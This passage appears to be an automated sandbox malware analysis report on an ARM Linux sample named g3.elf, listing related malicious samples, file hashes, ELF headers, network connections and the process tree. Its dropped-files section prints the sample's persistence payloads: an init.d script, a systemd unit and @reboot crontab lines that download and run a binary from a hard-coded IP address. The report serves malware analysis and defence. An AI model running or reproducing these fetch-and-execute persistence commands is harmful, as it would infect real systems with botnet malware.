                  CLOUDFLARENETUShttps://www.facebook.com/share/1A9gt2P1afGet hashmaliciousUnknownBrowse
                  • 104.17.25.14
                  Setup.msiGet hashmaliciousUnknownBrowse
                  • 172.67.162.17
                  3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                  • 172.64.41.3
                  L7GNkeVm5e.exeGet hashmaliciousLummaCBrowse
                  • 172.67.179.207
                  3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                  • 172.64.41.3
                  NDWffRLk7z.exeGet hashmaliciousLummaCBrowse
                  • 172.67.179.207
                  g3toRYa6JE.exeGet hashmaliciousLummaCBrowse
                  • 104.21.56.70
                  lBb4XI4eGD.exeGet hashmaliciousLummaCBrowse
                  • 172.67.179.207
                  tasAgNgjbJ.exeGet hashmaliciousUnknownBrowse
                  • 172.67.185.28
                  UWYXurYZ2x.exeGet hashmaliciousLummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty StealerBrowse
                  • 104.21.14.233
                  INIT7CHt1.elfGet hashmaliciousUnknownBrowse
                  • 109.202.202.202
                  g1.elfGet hashmaliciousUnknownBrowse
                  • 109.202.202.202
                  la.bot.arc.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  camp.x86.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  arm5.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  mpsl.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  la.bot.sparc.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  Cinquento.arm.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  la.bot.sh4.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  Cinquento.mpsl.elfGet hashmaliciousMiraiBrowse
                  • 109.202.202.202
                  ASGHOSTNETDEppc.elfGet hashmaliciousMiraiBrowse
                  • 5.175.194.122
                  x86.elfGet hashmaliciousMiraiBrowse
                  • 5.175.146.210
                  m1.elfGet hashmaliciousUnknownBrowse
                  • 77.90.22.16
                  m5.elfGet hashmaliciousUnknownBrowse
                  • 77.90.22.16
                  m2.elfGet hashmaliciousUnknownBrowse
                  • 77.90.22.16
                  Vhl3X1aYeU.exeGet hashmaliciousNjratBrowse
                  • 77.90.22.45
                  build.exeGet hashmaliciousRedLineBrowse
                  • 77.90.22.45
                  server.exeGet hashmaliciousNjratBrowse
                  • 77.90.22.45
                  Fantazy.i486.elfGet hashmaliciousUnknownBrowse
                  • 77.90.25.227
                  armv5l.elfGet hashmaliciousUnknownBrowse
                  • 5.231.4.240
                  No context
                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  /etc/init.d/hellog3.elfGet hashmaliciousUnknownBrowse
                    Process:/tmp/g3.elf
                    File Type:Bourne-Again shell script, ASCII text executable
                    Category:dropped
                    Size (bytes):617
                    Entropy (8bit):4.73699121422326
                    Encrypted:false
                    SSDEEP:12:i5BpMp5kTMp5Gu+a6pjqQBLMG259srxylKNVUdURucTyl:ifpMr8MrPd6NqqLMGAsrxy8bp4
                    MD5:FB392F426C8D1219A82419164DB02CEF
                    SHA1:78A228C2B7FE2880856DF3C9BCC3354D2C6C74F6
                    SHA-256:9D2FA6355092B9A8B7657F21CA12DDCD07250E082EC07587E04DB1E8D031A8CF
                    SHA-512:4A8523CBF1556B0C5BF6CC5708A62E3A4DF8CE3BEF941EB088DB5D93BFAD9B93A2670BC76C1F9476D07E7534F6AC971424EF49040FEE89BCBF91F727BD16D29A
                    Malicious:true
                    Joe Sandbox View:
                    • Filename: g3.elf, Detection: malicious, Browse
                    Reputation:low
                    Preview:#!/bin/bash.### BEGIN INIT INFO.# Provides: hello.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: hi :).# Description: hello :).### END INIT INFO..case "$1" in. start).rm -rf /tmp/g3; wget http://103.136.41.100/g3 -O /tmp/g3; chmod 777 /tmp/g3; /tmp/g3 |C 2 R -1157128192..p4 > /dev/null 2>&1;" ;;. stop). exit 0. ;;. restart). $0 stop. $0 start. ;;. *). echo "Usage: $0 {start|stop|restart}". exit 1. ;;.esac..exit 0.
                    Process:/tmp/g3.elf
                    File Type:troff or preprocessor input, ASCII text
                    Category:dropped
                    Size (bytes):313
                    Entropy (8bit):5.271755598823262
                    Encrypted:false
                    SSDEEP:6:z8KbX9RZAMGCk4vEuIACLm+fOADDjF5CY1E0aKBCIEXwsCBLQmWA4Rv:zb9RZADJiIE+m6jqQBLLLHWrv
                    MD5:AC3BD2089B529DCC7086CBD728C8B865
                    SHA1:397AB5804B88A1BF6AE7DBC743FF55AD3C330E27
                    SHA-256:4679862D1A9844B9942493D58E78E8CE952862FFBB9451485A0160AE99B8E019
                    SHA-512:8B86ADDCC61457B03B8C2C54D4154FB43A67DE47421A1EBC5D5B37189CC11DE4E9A828124D6DE23309693E1B28431E2CBA04513E0368EA2F0D6E8D2FCE955E7E
                    Malicious:false
                    Reputation:low
                    Preview:[Unit].Description=hi.After=network.target..[Service].RemainAfterExit=true.TimeoutSec=30s.Restart=no.ExecStart=/bin/bash -c "sleep 10; rm -rf /tmp/g3; wget http://103.136.41.100/g3 -O /tmp/g3; chmod 777 /tmp/g3; /tmp/g3 |C 2 R -1157128192..p1 > /dev/null 2>&1;".Type=forking..[Install].WantedBy=multi-user.target.
                    Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):76
                    Entropy (8bit):3.7627880354948586
                    Encrypted:false
                    SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                    MD5:D86A1F5765F37989EB0EC3837AD13ECC
                    SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                    SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                    SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                    Malicious:false
                    Reputation:moderate, very likely benign file
                    Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.
                    Process:/tmp/g3.elf
                    File Type:troff or preprocessor input, ASCII text
                    Category:dropped
                    Size (bytes):134
                    Entropy (8bit):4.784844435959946
                    Encrypted:false
                    SSDEEP:3:SH3YFKKDDjeMPHRCQqwui1SGuV0uVKByHIUU0XzT9Fw2sePn:SH3oDDjF5CY1E0aKBCIEX9W5Cn
                    MD5:405CBA1EA5E705211AA9D9065926EC15
                    SHA1:8FE6DEDEB6ED69F974EB297581ACD2CC4EEA1C15
                    SHA-256:3AB4C8C8558EAD2D62EFBF2A832A4C8039273A1E0F94D627E545E6EA1C3CD5CE
                    SHA-512:02258482D3B7842FD034F9F7F88F850FCFF31AB61AD9D9A60C7EDAD6A47A08F14C911A48B1D2E07964B3F18A1E0B36ABB2D61145BCF1CC3F7508E91C0309A842
                    Malicious:true
                    Reputation:low
                    Preview:@rebootrm -rf /tmp/g3; wget http://103.136.41.100/g3 -O /tmp/g3; chmod 777 /tmp/g3; /tmp/g3 |C 2 R -1157128192..p2 > /dev/null 2>&1;".
                    Process:/tmp/g3.elf
                    File Type:zlib compressed data
                    Category:dropped
                    Size (bytes):259
                    Entropy (8bit):3.4305646336293654
                    Encrypted:false
                    SSDEEP:6:QVDFHa7Y/VUS/FYDFH//VjmsVot/VOArB/VF:QVmS/FQI/
                    MD5:BA9320AA41B50FAEFB745084E08E2215
                    SHA1:002B81A5AF435BE4CA438CDE1C6446D619B25E2E
                    SHA-256:62C940BA1824CC359C9A52BBF37D98F494A04BEEF9D5EC8831A5BC63B3F353E5
                    SHA-512:F4444DCCF85BC3EA58A2BED5BA9AA37ED13630CF22A2A477F557106621BAF44C3546431DE4E38A4324168309F72DE266EE2ED54C7938578B6472053FED24A6B7
                    Malicious:false
                    Preview:8000-1c000 r-xp 00000000 fd:00 531606 /tmp/g3.elf.23000-24000 rw-p 00013000 fd:00 531606 /tmp/g3.elf.24000-2a000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack]..
                    Process:/usr/bin/crontab
                    File Type:troff or preprocessor input, ASCII text
                    Category:dropped
                    Size (bytes):324
                    Entropy (8bit):5.235477988485476
                    Encrypted:false
                    SSDEEP:6:SUrpqoqQjEOP1K8XAEuLuwJOBFQ3pHiF4iGMQ5UYLtCFt3HYoDDjF5CY1E0aKBC5:8Qj7QEuLut83pM4UeHLUHYCjqQBLK
                    MD5:8C367FDD5F2D9918095DA6784B5D73CD
                    SHA1:A4C6258BDB6968112E5EB78D9EC7CE1F8838B2D0
                    SHA-256:6EBD37B74429F3E10EBF3EDD54DE767998C89BCBCADBB6F3B80FC6E1FFC6046F
                    SHA-512:1CD9FDA631E6AA67604C8D7ACA9412BBF1BF84E21280B5E8BCD6E291A6A10B5814B5FFA74575A00F1E023B7BCB316C99E8D84DB56D1E8D9CE7CC1A3A4DBDB2BD
                    Malicious:true
                    Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/tmp/crontab.tmp installed on Sun Jan 12 16:03:01 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@rebootrm -rf /tmp/g3; wget http://103.136.41.100/g3 -O /tmp/g3; chmod 777 /tmp/g3; /tmp/g3 |C 2 R -1157128192..p2 > /dev/null 2>&1;".
                    File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                    Entropy (8bit):6.124722291684103
                    TrID:
                    • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                    File name:g3.elf
                    File size:79'708 bytes
                    MD5:0afe0f7f12873fb3ce2adae27a81bd0d
                    SHA1:1cd517a693e01267bf7b9ca9c7e0814cfcb3da91
                    SHA256:6acace436cce8902d8a435f19f3720cd2cd900a02620df3d4b8151acb71b5565
                    SHA512:5777039aec4ac9cdeb80c5efecabb8f7ab9855b00f82380232422a7c28bc401535288ba913490332f034e8514aa9169374886407ea65b4c0fc20ff0da9ddf21f
                    SSDEEP:1536:y7+V4QVl/MgIk1zzxAe0qVT52ZGl00FGvPko3nDgIZgTeg:/V/VZjIwzxx54wxFGvPkS0JT
                    TLSH:0673085AF9819742C2C155FB7B1E129C37266BA8E2DB3303ED201F21779AA1F0F67506
                    File Content Preview:.ELF...a..........(.........4....5......4. ...(......................0...0...............0...0...0......,...........Q.td..................................-...L."....E..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                    ELF header

                    Class:ELF32
                    Data:2's complement, little endian
                    Version:1 (current)
                    Machine:ARM
                    Version Number:0x1
                    Type:EXEC (Executable file)
                    OS/ABI:ARM - ABI
                    ABI Version:0
                    Entry Point Address:0x8190
                    Flags:0x202
                    ELF Header Size:52
                    Program Header Offset:52
                    Program Header Size:32
                    Number of Program Headers:3
                    Section Header Offset:79268
                    Section Header Size:40
                    Number of Section Headers:11
                    Header String Table Index:10
                    NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                    NULL0x00x00x00x00x0000
                    .initPROGBITS0x80940x940x180x00x6AX004
                    .textPROGBITS0x80b00xb00x116a80x00x6AX0016
                    .finiPROGBITS0x197580x117580x140x00x6AX004
                    .rodataPROGBITS0x1976c0x1176c0x193c0x00x2A004
                    .eh_framePROGBITS0x230a80x130a80x40x00x3WA004
                    .ctorsPROGBITS0x230ac0x130ac0x80x00x3WA004
                    .dtorsPROGBITS0x230b40x130b40x80x00x3WA004
                    .dataPROGBITS0x230c00x130c00x49c0x00x3WA004
                    .bssNOBITS0x2355c0x1355c0x29780x00x3WA004
                    .shstrtabSTRTAB0x00x1355c0x480x00x0001
                    TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                    LOAD0x00x80000x80000x130a80x130a86.11690x5R E0x8000.init .text .fini .rodata
                    LOAD0x130a80x230a80x230a80x4b40x2e2c6.06290x6RW 0x8000.eh_frame .ctors .dtors .data .bss
                    GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                    TimestampSource PortDest PortSource IPDest IP
                    Jan 12, 2025 23:03:00.858026028 CET42836443192.168.2.2391.189.91.43
                    Jan 12, 2025 23:03:01.625931025 CET4251680192.168.2.23109.202.202.202
                    Jan 12, 2025 23:03:01.863521099 CET5768353192.168.2.231.1.1.1
                    Jan 12, 2025 23:03:01.868453979 CET53576831.1.1.1192.168.2.23
                    Jan 12, 2025 23:03:01.868649960 CET5768353192.168.2.231.1.1.1
                    Jan 12, 2025 23:03:01.868705034 CET5768353192.168.2.231.1.1.1
                    Jan 12, 2025 23:03:01.873913050 CET53576831.1.1.1192.168.2.23
                    Jan 12, 2025 23:03:01.873953104 CET5768353192.168.2.231.1.1.1
                    Jan 12, 2025 23:03:03.685102940 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:03:03.690114021 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:03:03.690185070 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:03:03.721941948 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:03:03.726728916 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:03:17.239725113 CET43928443192.168.2.2391.189.91.42
                    Jan 12, 2025 23:03:27.482315063 CET42836443192.168.2.2391.189.91.43
                    Jan 12, 2025 23:03:31.573832035 CET4251680192.168.2.23109.202.202.202
                    Jan 12, 2025 23:03:35.669143915 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:03:35.674293995 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:03:58.194019079 CET43928443192.168.2.2391.189.91.42
                    Jan 12, 2025 23:04:06.384936094 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:04:06.389991045 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:04:14.799988985 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:04:14.805221081 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:04:15.311811924 CET56254882877.90.22.16192.168.2.23
                    Jan 12, 2025 23:04:15.312036991 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:04:47.339138985 CET488285625192.168.2.2377.90.22.16
                    Jan 12, 2025 23:04:47.344336033 CET56254882877.90.22.16192.168.2.23

                    System Behavior

                    Start time (UTC):22:02:56
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:/tmp/g3.elf
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:00
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:00
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:sh -c "systemctl daemon-reload > /dev/null 2>&1"
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:00
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:-
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:00
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/systemctl
                    Arguments:systemctl daemon-reload
                    File size:996584 bytes
                    MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:sh -c "systemctl start hello.service > /dev/null 2>&1"
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:-
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/systemctl
                    Arguments:systemctl start hello.service
                    File size:996584 bytes
                    MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:-
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/crontab
                    Arguments:crontab /tmp/crontab.tmp
                    File size:43720 bytes
                    MD5 hash:66e521d421ac9b407699061bf21806f5

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:sh -c "/etc/init.d/hello > /dev/null 2>&1"
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/bin/sh
                    Arguments:-
                    File size:129816 bytes
                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                    Start time (UTC):22:03:02
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:02
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:02
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:02
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:03:02
                    Start date (UTC):12/01/2025
                    Path:/tmp/g3.elf
                    Arguments:-
                    File size:4956856 bytes
                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/bin/xfce4-panel
                    Arguments:-
                    File size:375768 bytes
                    MD5 hash:a15b657c7d54ac1385f1f15004ea6784

                    Start time (UTC):22:02:58
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
                    Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
                    File size:35136 bytes
                    MD5 hash:ac0b8a906f359a8ae102244738682e76

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/systemd/systemd
                    Arguments:-
                    File size:1620224 bytes
                    MD5 hash:9b2bec7092a40488108543f9334aab75

                    Start time (UTC):22:03:01
                    Start date (UTC):12/01/2025
                    Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                    Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                    File size:22760 bytes
                    MD5 hash:3633b075f40283ec938a2a6a89671b0e